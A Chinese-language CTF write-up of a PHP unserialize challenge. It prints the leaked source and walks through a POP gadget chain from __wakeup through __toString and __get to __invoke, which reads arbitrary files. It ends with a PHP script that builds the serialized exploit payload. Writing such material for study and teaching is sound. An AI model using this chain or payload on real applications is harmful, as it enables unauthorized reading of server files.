打开网站后提示I think you need /etc/hint . Before this you need to see the source code

    说是要去访问/etc/hint,可是也没有任意路径访问之类的东西,再看后半句,提示source code,那么就先尝试下www.zip,结果一次成功,下载下来源码:

    1. <meta charset="utf-8">
    2. <?php
    3. //hint is in hint.php
    4. error_reporting(1);
    5. class Start
    6. {
    7. public $name='guest';
    8. public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    9. public function __construct(){
    10. echo "I think you need /etc/hint . Before this you need to see the source code";
    11. }
    12. public function _sayhello(){
    13. echo $this->name;
    14. return 'ok';
    15. }
    16. public function __wakeup(){
    17. echo "hi";
    18. $this->_sayhello();
    19. }
    20. public function __get($cc){
    21. echo "give you flag : ".$this->flag;
    22. return ;
    23. }
    24. }
    25. class Info
    26. {
    27. private $phonenumber=123123;
    28. public $promise='I do';
    29. public function __construct(){
    30. $this->promise='I will not !!!!';
    31. return $this->promise;
    32. }
    33. public function __toString(){
    34. return $this->file['filename']->ffiillee['ffiilleennaammee'];
    35. }
    36. }
    37. class Room
    38. {
    39. public $filename='/flag';
    40. public $sth_to_set;
    41. public $a='';
    42. public function __get($name){
    43. $function = $this->a;
    44. return $function();
    45. }
    46. public function Get_hint($file){
    47. $hint=base64_encode(file_get_contents($file));
    48. echo $hint;
    49. return ;
    50. }
    51. public function __invoke(){
    52. $content = $this->Get_hint($this->filename);
    53. echo $content;
    54. }
    55. }
    56. if(isset($_GET['hello'])){
    57. unserialize($_GET['hello']);
    58. }else{
    59. $hi = new Start();
    60. }
    61. ?>

    去网上查阅了一番,这题考察的是pop链的构造。
    审计代码后,发现Room类中的Get_hint中可以读取任意文件,并且$filename变量提示/flag,那么漏洞函数找到了,只要想办法调用即可,梳理下逻辑:
    想要调用Get_hint,需要先触发__invoke函数,__invoke函数当尝试将对象调用为函数时触发,例如:

    1. <?php
    2. class CallableClass
    3. {
    4. function __invoke($x) {
    5. var_dump($x);
    6. }
    7. }
    8. $obj = new CallableClass;
    9. $obj(5);
    10. var_dump(is_callable($obj));
    11. ?>

    从代码中可以看到有类似操作的地方在Room类中的__get()函数中,所以需要想办法调用__get(),php manual中对于__get()的描述:读取不可访问属性的值时,__get会被调用
    所以需要执行Info类中的__toString()方法:

    1. public function __toString(){
    2. return $this->file['filename']->ffiillee['ffiilleennaammee'];
    3. }

    而要调用__toString()方法,把类当作字符串使用时触发,继续查找可以看到Start类中的_sayhello函数:

    1. public function _sayhello(){
    2. echo $this->name;
    3. return 'ok';
    4. }

    而调用_sayhello就很简单了,就在__wakeup函数中。
    接下来就是构造pop链:

    1. <?php
    2. class Start
    3. {
    4. public $name;
    5. public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    6. public function _sayhello(){
    7. echo $this->name;
    8. return 'ok';
    9. }
    10. public function __wakeup(){
    11. echo "hi";
    12. $this->_sayhello();
    13. }
    14. }
    15. class Info
    16. {
    17. public function __toString(){
    18. return $this->file['filename']->ffiillee['ffiilleennaammee'];
    19. }
    20. }
    21. class Room
    22. {
    23. public $filename='hint.php';
    24. public $a='';
    25. public $sth_to_set;
    26. public function __get($name){
    27. $function = $this->a;
    28. return $function();
    29. }
    30. public function Get_hint($file){
    31. $hint=base64_encode(file_get_contents($file));
    32. echo $hint;
    33. return ;
    34. }
    35. public function __invoke(){
    36. $content = $this->Get_hint($this->filename);
    37. echo $content;
    38. }
    39. }
    40. $a=new Start();
    41. $b=new Info();
    42. $c=new Room();
    43. $b->file['filename']=$c;
    44. $a->name=$b;
    45. $c->a=$c;
    46. $c->sth_to_set=$a;
    47. echo(serialize($c))
    48. ?>

    得到序列化字符串后提交,得到一串base64文本,删掉前面自带的hi,解码得到flag。
    说实话没想到居然能一下子getflag,第一次做这种题